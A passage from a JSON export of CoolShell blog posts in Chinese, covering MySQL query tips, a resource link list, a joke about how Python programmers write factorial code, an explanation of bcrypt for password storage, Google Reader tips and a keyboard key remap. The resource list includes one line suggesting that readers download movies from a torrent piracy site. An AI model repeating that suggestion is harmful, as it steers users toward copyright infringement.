[![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\nThe post [程序员的圣诞节](https://coolshell.cn/articles/3429.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-31 6个有用的MySQL语句.md",
    "content": "---\nlayout: post\ntitle: 6个有用的MySQL语句\ndate: 2010/12/31/ 0:29:35\nupdated: 2010/12/31/ 0:29:35\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站给大家介绍过《[MySQL性能优化的最佳20+条经验](https://coolshell.cn/articles/1846.html)》，今天给大家介绍六条比较有用的MySQL的SQL语句，可能很多人都通过PHP来实现这些功能。\n\n\n#### 1. 计算年数\n\n\n你想通过生日来计算这个人有几岁了。\n\n\n\n```\n\n\nSELECT DATE_FORMAT(FROM_DAYS(TO_DAYS(now()) - TO_DAYS(@dateofbirth)), '%Y') + 0;\n\n```\n\n#### 2. 两个时间的差\n\n\n取得两个 datetime 值的差。假设 dt1 和 dt2 是 datetime 类型，其格式为 ‘yyyy-mm-dd hh:mm:ss’，那么它们之间所差的秒数为：\n\n\n\n```\n\n\nUNIX_TIMESTAMP( dt2 ) - UNIX_TIMESTAMP( dt1 )\n\n```\n\n除以60就是所差的分钟数，除以3600就是所差的小时数，再除以24就是所差的天数。\n\n\n#### 3. 显示某一列出现过N次的值\n\n\n\n```\n\n\nSELECT id\nFROM tbl\nGROUP BY id\nHAVING COUNT(*) = N;\n\n```\n\n\n#### 4. 计算两个日子间的工作日\n\n\n所谓工作日就是除出周六周日和节假日。\n\n\n\n```\n\n\nSELECT COUNT(*)\nFROM calendar\nWHERE d BETWEEN Start AND Stop\n  AND DAYOFWEEK(d) NOT IN(1,7)\n  AND holiday=0;\n\n```\n\n#### 5. 查找表中的主键\n\n\n\n```\n\n\nSELECT k.column_name\nFROM information_schema.table_constraints t\nJOIN information_schema.key_column_usage k\nUSING (constraint_name,table_schema,table_name)\nWHERE t.constraint_type='PRIMARY KEY'\n  AND t.table_schema='db'\n  AND t.table_name=tbl'\n\n```\n\n#### 6. 查看你的数库有多大\n\n\n\n```\n\n\nSELECT\n  table_schema AS 'Db Name',\n  Round( Sum( data_length + index_length ) / 1024 / 1024, 3 ) AS 'Db Size (MB)',\n  Round( Sum( data_free ) / 1024 / 1024, 3 ) AS 'Free Space (MB)'\nFROM information_schema.tables\nGROUP BY table_schema ;\n\n```\n\n希望对你有帮助。\n\n\n文章：[来源](http://www.codeforest.net/6-useful-mysql-queries)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/925.html)[如何比较两个数据表](https://coolshell.cn/articles/925.html)\n* [![程序员疫苗：代码注入](../wp-content/uploads/2012/12/200906020837401710-150x150.jpg)](https://coolshell.cn/articles/8711.html)[程序员疫苗：代码注入](https://coolshell.cn/articles/8711.html)\n* [![NoSQL 数据建模技术](../wp-content/uploads/2012/05/overview2-1-150x150.png)](https://coolshell.cn/articles/7270.html)[NoSQL 数据建模技术](https://coolshell.cn/articles/7270.html)\n* [![千万别惹程序员 ](../wp-content/uploads/2012/02/programming-language-150x150.jpg)](https://coolshell.cn/articles/6639.html)[千万别惹程序员](https://coolshell.cn/articles/6639.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [6个有用的MySQL语句](https://coolshell.cn/articles/3433.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-12-31 一些杂项资源.md",
    "content": "---\nlayout: post\ntitle: 一些杂项资源\ndate: 2010/12/31/ 5:0:0\nupdated: 2010/12/31/ 5:0:0\nstatus: publish\npublished: true\ntype: post\n---\n\n以前给大家介绍过[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)，今天再给大家介绍一些。（虽然没有上次的多，也算是一个新年礼物吧）\n\n\n* 首先，如果你想在你的web页上做一个小提示，你不妨到<http://projects.nickstakenburg.com/tipped>上看看，各种各样的提示风格，很不错。而且兼容于四大主流浏览器——Chrome, Firefox, IE, Safari。\n\n\n* 如果你想让Java变成一个动态语言，你可以试试这个开源项目：<http://code.google.com/p/ductilej/>\n\n\n* 如果你想把你的Windows蓝屏改成红屏或是绿屏，你可以看看这篇教程：<http://blogs.technet.com/b/markrussinovich/archive/2010/12/14/3374820.aspx>，还是挺Cool的。\n\n\n[http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-52-36-metablogapi/7462.image_5F00_thumb47_5F00_thumb_5F00_5577CEF9.png \"image_thumb47\"](http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-52-36-metablogapi/4745.image_5F00_thumb47_5F00_0847D56E.png)\n\n\n\n* 如果你想使用HTML5+Javascript做一个游戏，就像制作[这些HTML5的小游戏](https://coolshell.cn/articles/2998.html)一样，你不妨考虑使用一下这个游戏框架：<http://www.propulsionjs.com/>\n\n\n* 如果你想学习Emacs，而又不害怕这样的学习曲线，那么，这里有一篇相当不错的教程供你参考：<http://textmate2.com/>\n\n\n[http://www.gnu.org/software/emacs/tour/images/ediff-small.png](http://textmate2.com/)\n\n\n\n* 如果你对2010年的好莱坞电影票房和排行情况想有一个整体的了解的话，这里有一个很不错的图示：<http://www.xach.com/moviecharts/2010.html>，阿凡达，艾丽斯梦游仙梦，钢铁侠，史端克，幕色，盗梦空间，玩具总动员，哈里波特……可能还有很多你没有看过的电影，你可以上<http://www.kickasstorrents.com/>上下载看看。\n\n\n* 如果你像我一样，对“Agile Development”在中国似“电视购物”般的的宣传和神化有一些异见的话，或者你对这个方法论起级信仰，认为他就像“共产主义”，“真主”，“耶稣”，“佛陀”一样可以普世的话，你不妨看一下下面这些文章：（注意，他们大多被墙）\n\t+ [What Killed Waterfall could Kill Agile](https://gist.github.com/710960).\n\t+ [Google Groups上的一个讨论](https://groups.google.com/forum/#!msg/guerrilla-capacity-planning/HR69ubukn_Q/xNgiiMeq0BkJ)\n\t+ [Agile 水管工](http://david.ing.name/2010/12/24/agile-plumbers/)\n\t+ [看上去是资本主义，用起来是共产主义，打起架来是法西斯，做起爱来是无政府主义](http://mempko.wordpress.com/2010/12/30/look-like-a-capitalist-live-like-a-communist/)\n\n\n* 最后让我向你介绍一下2010年度top 10的关于 Spring, ExtJS和Hibernate的相关文章（同意，注意撞墙）\n\t+ [Tutorial: Getting Started with Spring Security](http://loianegroner.com/2010/01/tutorial-getting-started-with-spring-security/)\n\t+ [ExtJS and Spring MVC Framework: CRUD DataGrid Example](http://loianegroner.com/2010/03/extjs-and-spring-mvc-framework-crud-datagrid-example/)\n\t+ [Ajax File Upload with ExtJS and Spring Framework](http://loianegroner.com/2010/03/ajax-file-upload-with-extjs-and-spring-framework/)\n\t+ [Integrating Spring Security with ExtJS Login Page](http://loianegroner.com/2010/02/integrating-spring-security-with-extjs-login-page/)\n\t+ [Spring MVC and AJAX with JSON](http://loianegroner.com/2010/02/spring-mvc-and-ajax-with-json/)\n\t+ [ExtJS: How to Export DataGrid to Excel](http://loianegroner.com/2010/02/extjs-how-to-export-datagrid-to-excel/)\n\t+ [ExtJS, Spring MVC 3 and Hibernate 3.5: CRUD DataGrid Example](http://loianegroner.com/2010/09/extjs-spring-mvc-3-and-hibernate-3-5-crud-datagrid-example/)\n\t+ [Spring Security: Login and Logout Form JSP](http://loianegroner.com/2010/01/spring-security-login-and-logout-form-jsp/)\n\t+ [How to Display an Image/Link Inside an Ext JS GridPanel’s Cell](http://loianegroner.com/2010/01/how-to-display-an-imagelink-inside-an-ext-js-gridpanels-cell/)\n\t+ [Ext.Window Panel: Show or Hide?](http://loianegroner.com/2010/01/ext-window-panel-show-or-hide/)\n\n\n**祝大家新年快乐！！**\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![一些文章资源和趣闻](../wp-content/uploads/2011/11/stackparts.com_-150x150.png)](https://coolshell.cn/articles/5537.html)[一些文章资源和趣闻](https://coolshell.cn/articles/5537.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/5709.html)[API设计：用流畅接口构造内部DSL](https://coolshell.cn/articles/5709.html)\n* [![那些曾伴我走过编程之路的软件](../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png)](https://coolshell.cn/articles/5576.html)[那些曾伴我走过编程之路的软件](https://coolshell.cn/articles/5576.html)\nThe post [一些杂项资源](https://coolshell.cn/articles/3437.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2010-2-1 Python程序员的进化.md",
    "content": "---\nlayout: post\ntitle: Python程序员的进化\ndate: 2010/2/1/ 9:42:48\nupdated: 2010/2/1/ 9:42:48\nstatus: publish\npublished: true\ntype: post\n---\n\n以前本站发布过一篇《[程序员的进化](https://coolshell.cn/articles/172.html)》，以一种幽默的代码展现方式调侃了程序。下面这篇是关于Python程序员的。以阶乘为例，很有意思。\n\n\n#### 新手程序员\n\n\n\n```\ndef factorial(x):\n    if x == 0:\n        return 1\n    else:\n        return x * factorial(x - 1)\nprint factorial(6)\n```\n\n#### \n第一年的刚学完Pascal的新手\n\n\n\n```\ndef factorial(x):\n    result = 1\n    i = 2\n    while i <= x:\n        result = result * i\n        i = i + 1\n    return result\nprint factorial(6)\n```\n\n#### \n\n\n#### \n第一年的刚学完C语言的新手\n\n\n\n```\ndef fact(x): #{\n    result = i = 1;\n    while (i <= x): #{\n        result *= i;\n        i += 1;\n    #}\n    return result;\n#}\nprint(fact(6))\n```\n\n#### \n第一年刚学完SICP的新手\n\n\n\n```\n@tailcall\ndef fact(x, acc=1):\n    if (x > 1): return (fact((x - 1), (acc * x)))\n    else:       return acc\nprint(fact(6))\n```\n\n#### \n第一年刚学完Python的新手\n\n\n\n```\ndef Factorial(x):\n    res = 1\n    for i in xrange(2, x + 1):\n        res *= i\n    return res\nprint Factorial(6)\n```\n\n#### \n爱偷懒的程序员\n\n\n\n```\ndef fact(x):\n    return x > 1 and x * fact(x - 1) or 1\nprint fact(6)\n```\n\n#### \n更懒的 Python 程序员\n\n\n\n```\nf = lambda x: x and x * f(x - 1) or 1\nprint f(6)\n```\n\n#### \nPython 专家\n\n\n\n```\nimport operator as op\nimport functional as f\nfact = lambda x: f.foldl(op.mul, 1, xrange(2, x + 1))\nprint fact(6)\n```\n\n#### Python 黑客\n\n\n\n```\nimport sys\n@tailcall\ndef fact(x, acc=1):\n    if x: return fact(x.__sub__(1), acc.__mul__(x))\n    return acc\nsys.stdout.write(str(fact(6)) + '\\n')\n```\n\n#### \n专家级程序员\n\n\n\n```\nimport c_math\nfact = c_math.fact\nprint fact(6)\n```\n\n#### \n英语系的专家级程序员\n\n\n\n```\nimport c_maths\nfact = c_maths.fact\nprint fact(6)\n```\n\n#### \nWeb 设计者\n\n\n\n```\ndef factorial(x):\n    #-------------------------------------------------\n    #--- Code snippet from The Math Vault          ---\n    #--- Calculate factorial (C) Arthur Smith 1999 ---\n    #-------------------------------------------------\n    result = str(1)\n    i = 1 #Thanks Adam\n    while i <= x:\n        #result = result * i  #It's faster to use *=\n        #result = str(result * result + i)\n           #result = int(result *= i) #??????\n        result str(int(result) * i)\n        #result = int(str(result) * i)\n        i = i + 1\n    return result\nprint factorial(6)\n```\n\n#### \nUnix 程序员\n\n\n\n```\nimport os\ndef fact(x):\n    os.system('factorial ' + str(x))\nfact(6)\n```\n\n#### \nWindows 程序员\n\n\n\n```\nNULL = None\ndef CalculateAndPrintFactorialEx(dwNumber,\n                                 hOutputDevice,\n                                 lpLparam,\n                                 lpWparam,\n                                 lpsscSecurity,\n                                 *dwReserved):\n    if lpsscSecurity != NULL:\n        return NULL #Not implemented\n    dwResult = dwCounter = 1\n    while dwCounter <= dwNumber:\n        dwResult *= dwCounter\n        dwCounter += 1\n    hOutputDevice.write(str(dwResult))\n    hOutputDevice.write('\\n')\n    return 1\nimport sys\nCalculateAndPrintFactorialEx(6, sys.stdout, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)\n```\n\n#### \n公司里的程序员\n\n\n\n```\ndef new(cls, *args, **kwargs):\n    return cls(*args, **kwargs)\n\nclass Number(object):\n    pass\n\nclass IntegralNumber(int, Number):\n    def toInt(self):\n        return new (int, self)\n\nclass InternalBase(object):\n    def __init__(self, base):\n        self.base = base.toInt()\n\n    def getBase(self):\n        return new (IntegralNumber, self.base)\n\nclass MathematicsSystem(object):\n    def __init__(self, ibase):\n        Abstract\n\n    @classmethod\n    def getInstance(cls, ibase):\n        try:\n            cls.__instance\n        except AttributeError:\n            cls.__instance = new (cls, ibase)\n        return cls.__instance\n\nclass StandardMathematicsSystem(MathematicsSystem):\n    def __init__(self, ibase):\n        if ibase.getBase() != new (IntegralNumber, 2):\n            raise NotImplementedError\n        self.base = ibase.getBase()\n\n    def calculateFactorial(self, target):\n        result = new (IntegralNumber, 1)\n        i = new (IntegralNumber, 2)\n        while i <= target:\n            result = result * i\n            i = i + new (IntegralNumber, 1)\n        return result\n\nprint StandardMathematicsSystem.getInstance(new (InternalBase, new (IntegralNumber, 2))).calculateFactorial(new (IntegralNumber, 6))\n```\n\n摘自：[来源](http://gist.github.com/289467)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Python修饰器的函数式编程](../wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg)](https://coolshell.cn/articles/11265.html)[Python修饰器的函数式编程](https://coolshell.cn/articles/11265.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/10169.html)[类型的本质和函数式实现](https://coolshell.cn/articles/10169.html)\n* [![代码执行的效率](../wp-content/uploads/2012/07/muxnt-150x150.jpg)](https://coolshell.cn/articles/7886.html)[代码执行的效率](https://coolshell.cn/articles/7886.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/4939.html)[Quora使用到的技术](https://coolshell.cn/articles/4939.html)\nThe post [Python程序员的进化](https://coolshell.cn/articles/2082.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-2-1 如何防范密码被破解.md",
    "content": "---\nlayout: post\ntitle: 如何防范密码被破解\ndate: 2010/2/1/ 9:18:36\nupdated: 2010/2/1/ 9:18:36\nstatus: publish\npublished: true\ntype: post\n---\n\n你会用什么样的算法来为你的用户保存密码？如果你还在用明码的话，那么一旦你的网站被hack了，那么你所有的用户口令都会被泄露了，这意味着，你的系统或是网站就此完蛋了。所以，我们需要通过一些不可逆的算法来保存用户的密码。比如：MD5, SHA1, SHA256, SHA512, SHA-3,等Hash算法。这些算法都是不可逆的。系统在验证用户的口令时，需要把Hash加密过后的口令与后面存放口令的数据库中的口令做比较，如果一致才算验证通过。\n\n\n但你觉得这些算法好吗？我说的是：MD5, SHA1, SHA256, SHA512, SHA-3。如果你使用的是MD5算法来加密你的口令，如果你的口令长度只有小写字母再加上数字，假设口令的长度是6位，那么在目前一台比较新一点的PC机上，穷举所有的口令只需要40秒钟。而据我们了解，几乎有90%以上的用户只用小写字母和数字来组织其口令。对于6位长度的密码只需要最多40秒就可以破解了，这可能会吓到你。\n\n\n如果你愿意花2000美金和一周的时间来构建一个[CUDA](http://www.nvidia.com/object/cuda_home.html)，那么，你可以在你组建的这个集群中使用进行密码穷举运算，其速度是，[1秒钟可以计算7亿个口令](http://www.win.tue.nl/cccc/sha-1-challenge.html)。对于目前实际当中使用的比较复杂的口令，其破解率也可以高达每秒一个。当然，这里说的算法是MD5，SHA之类的算法。\n\n\n那么，对于这样的一种情况来说，我们怎么办？我们还是有办法的。\n\n\n\n我们知道MD5，SHA的算法速度太快了。所以，我们需要一个“慢一点”的加密算法。呵呵。bcrypt是这样的一个算法，因为它很慢，对于计算机来说，其慢得有点BT了，但却慢得刚刚好！对于验证用户口令来说是不慢的，对于穷举用户口令来说，其会让那些计算机变得如同蜗牛一样。\n\n\n因为bcrypt采用了一系列各种不同的Blowfish加密算法，并引入了一个work factor，这个工作因子可以让你决定这个算法的代价有多大。因为这些，这个算法不会因为计算机CPU处理速度变快了，而导致算法的时间会缩短了。因为，你可以增加work factor来把其性能降下来。呵呵。\n\n\n那么，bcrypt到底有多慢？如果和MD5一起来比较的话，如果使用值为12的work factor的话，如果加密“cool”的话，bcrypt需要0.3秒，而MD5只需要一微秒（百万分之一秒）。也就是说，前面我们说的那个只需要40秒就可以穷举完所有的可能的MD5编码的口令的算法，在使用bcrypt下，需要12年。\n\n\n这就是bcrypt给你带来的选择，**你可以一个安全的口令和一个快速的加密算法，或是一个不怎么安全的口令和一个性能不好的加密算法**。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![破解你的口令](../wp-content/uploads/2011/02/passwords-150x150.png)](https://coolshell.cn/articles/3801.html)[破解你的口令](https://coolshell.cn/articles/3801.html)\n* [![CSDN明文口令泄露的启示](../wp-content/uploads/2011/12/63071edagw1doah4id8l4j-150x150.jpg)](https://coolshell.cn/articles/6193.html)[CSDN明文口令泄露的启示](https://coolshell.cn/articles/6193.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5353.html)[你会做Web上的用户登录功能吗？](https://coolshell.cn/articles/5353.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2451.html)[Twitter的禁用口令](https://coolshell.cn/articles/2451.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/2428.html)[如何管理并设计你的口令](https://coolshell.cn/articles/2428.html)\nThe post [如何防范密码被破解](https://coolshell.cn/articles/2078.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-2-6 iPad进化图.md",
    "content": "---\nlayout: post\ntitle: iPad进化图\ndate: 2010/2/6/ 2:53:27\nupdated: 2010/2/6/ 2:53:27\nstatus: publish\npublished: true\ntype: post\n---\n\n\n[![](../wp-content/uploads/2010/02/ipad.jpg \"iPad 进化图\")](https://coolshell.cn/wp-content/uploads/2010/02/ipad.jpg)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/5089.html)[10个必需的iOS开发工具和资源](https://coolshell.cn/articles/5089.html)\n* [![消费者的消费观](../wp-content/uploads/2010/09/1-150x150.png)](https://coolshell.cn/articles/2913.html)[消费者的消费观](https://coolshell.cn/articles/2913.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/2719.html)[苹果开发工具Xcode 4 第二预览版](https://coolshell.cn/articles/2719.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/11.jpg](https://coolshell.cn/articles/2917.html)[Did You Know?](https://coolshell.cn/articles/2917.html)\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/4.jpg](https://coolshell.cn/articles/444.html)[Python脚本如何对文件通配符匹配](https://coolshell.cn/articles/444.html)\nThe post [iPad进化图](https://coolshell.cn/articles/2086.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-2-7 分享：我是如何使用Google Reader的.md",
    "content": "---\nlayout: post\ntitle: 分享：我是如何使用Google Reader的\ndate: 2010/2/7/ 1:35:1\nupdated: 2010/2/7/ 1:35:1\nstatus: publish\npublished: true\ntype: post\n---\n\n相信不少读者都是通过Google Reader (貌似没有中文名) 看到本文的，而多数Google Reader的爱好者都是贪婪的。如果你像我一样，估计未读数量从来都是1000+。遇到强迫症就麻烦了。下面一个方法能让阅读变得有“轻重缓急”。\n\n\n1. 承认不是所有种子一样重要，有些更新你想立刻知道（例如某新闻类的博客：[古奥](http://www.google.org.cn/)），有些只是希望不要错过（例如某经典博客：[Joe l on Software](http://www.joelonsoftware.com/)），还有一些可能只是娱乐用的（例如：[煎蛋](http://jandan.net/)）\n2. Reader是可以为种子建文件夹的，所有“重要而必读”的种子都可以放在一个文件夹里，文件夹的名称最好是用“\\_” 开头，这样排序的时候可以在最前面（见图解）\n3. 每当打开Google Reader的时候，先看重要的种子即可，其他的有时间再读。\n\n\n笔者的Reader界面（献丑了）\n\n\n\n[![](../wp-content/uploads/2010/02/reader2.png \"reader2\")](https://coolshell.cn/wp-content/uploads/2010/02/reader2.png)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![我看ChatGPT: 为啥谷歌掉了千亿美金](../wp-content/uploads/2023/02/chatgpt-150x150.jpg)](https://coolshell.cn/articles/22398.html)[我看ChatGPT: 为啥谷歌掉了千亿美金](https://coolshell.cn/articles/22398.html)\n* [![Google Inbox如何跨平台重用代码？](../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg)](https://coolshell.cn/articles/12136.html)[Google Inbox如何跨平台重用代码？](https://coolshell.cn/articles/12136.html)\n* [![PFIF网上寻人协议](../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png)](https://coolshell.cn/articles/9508.html)[PFIF网上寻人协议](https://coolshell.cn/articles/9508.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/5815.html)[来信， 创业 和 移动互联网](https://coolshell.cn/articles/5815.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/5701.html)[SteveY对Amazon和Google平台的吐槽](https://coolshell.cn/articles/5701.html)\n* [![一些文章和各种资源](../wp-content/uploads/2011/09/image008-150x150.jpg)](https://coolshell.cn/articles/5224.html)[一些文章和各种资源](https://coolshell.cn/articles/5224.html)\nThe post [分享：我是如何使用Google Reader的](https://coolshell.cn/articles/2091.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn).\n\n"
  },
  {
    "path": "blogs/rss2html2markdown/2010-2-7 如何修改微软人体工学键盘的Zoom键.md",
    "content": "---\nlayout: post\ntitle: 如何修改微软人体工学键盘的Zoom键\ndate: 2010/2/7/ 2:8:44\nupdated: 2010/2/7/ 2:8:44\nstatus: publish\npublished: true\ntype: post\n---\n\n如果你不是订阅本站的用户，你很肯能可能是通过搜索引擎的魔力来到本文的。\n\n\n微软的软件产品咱们暂且不谈，他们生产的键盘鼠标确实很不错。例如，经典的 microsoft natural ergonomic keyboard 4000 （见图）。著名Google工程师博主Matt Cutts用的就是这个（[参考链接](http://www.mattcutts.com/blog/30-days-no-microsoft-software/)）。\n\n\n可是每个入手该键盘的geek都会觉得，这个弱智的设计师把zoom键放在中间干嘛，应该用来当上下滚轮嘛。\n\n\n[![](../wp-content/uploads/2010/02/keyboard.jpg \"keyboard\")](https://coolshell.cn/wp-content/uploads/2010/02/keyboard.jpg)\n\n\n无独有偶，该问题已经被先辈们解决，笔者只搜到了[英文文章](http://paininthetech.com/2006/04/29/hack-the-microsoft-natural-4000-keyboard)\n\n\n为了让中文读者方便找到并使用，暂且将关键步骤翻译如下：\n\n\n1. 下载微软键盘驱动 <http://www.microsoft.com/hardware/download/download.aspx?category=MK>\n2. 找到command.xml文件，应该是在 C:\\Program Files\\Microsoft IntelliType Pro\\\n3. 编辑command.xml文件（建议之前备份），替换**所有** <C319 Type=”6″ Activator=”ZoomIn” /> 为<C319 Type=”6″ Activator=”ScrollUp” />**,  所有** <C320 Type=”6″ Activator=”ZoomOut” /> 替换为 **<C320 Type=”6″ Activator=”ScrollDown” />** 用Notepad或者记事本可以实现，应该是10个左右。\n4. 重启电脑（貌似这一步不能省）\n\n\n图例：修改前\n\n\n[![](../wp-content/uploads/2010/02/before.png \"before\")](https://coolshell.cn/wp-content/uploads/2010/02/before.png)\n\n\n图例：修改后\n\n\n[![](../wp-content/uploads/2010/02/after.png \"after\")](https://coolshell.cn/wp-content/uploads/2010/02/after.png)\n\n\n这样你就可以用Zoom来替代鼠标滚轮了。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![笔记本电脑的发展史](../wp-content/uploads/2009/04/osborne1-150x150.jpg)](https://coolshell.cn/articles/378.html)[笔记本电脑的发展史](https://coolshell.cn/articles/378.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/1826.html)[几个有趣的404错误页面](https://coolshell.cn/articles/1826.html)\n* [![NoSQL 数据建模技术](../wp-content/uploads/2012/05/overview2-1-150x150.png)](https://coolshell.cn/articles/7270.html)[NoSQL 数据建模技术](https://coolshell.cn/articles/7270.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6994.html)[我们需要专职的QA吗？](https://coolshell.cn/articles/6994.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/3572.html)[C语言函数实现的另类方法](https://coolshell.cn/articles/3572.html)\n* [![《Rework》摘录及感想](../wp-content/uploads/2013/03/rework-150x150.jpg)](https://coolshell.cn/articles/9156.html)[《Rework》摘录及感想](https://coolshell.cn/articles/9156.html)\nThe post [如何修改微软人体工学键盘的Zoom键](https://coolshell.cn/articles/2097.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2010-2-8 Python处理encoding的小技巧.md",
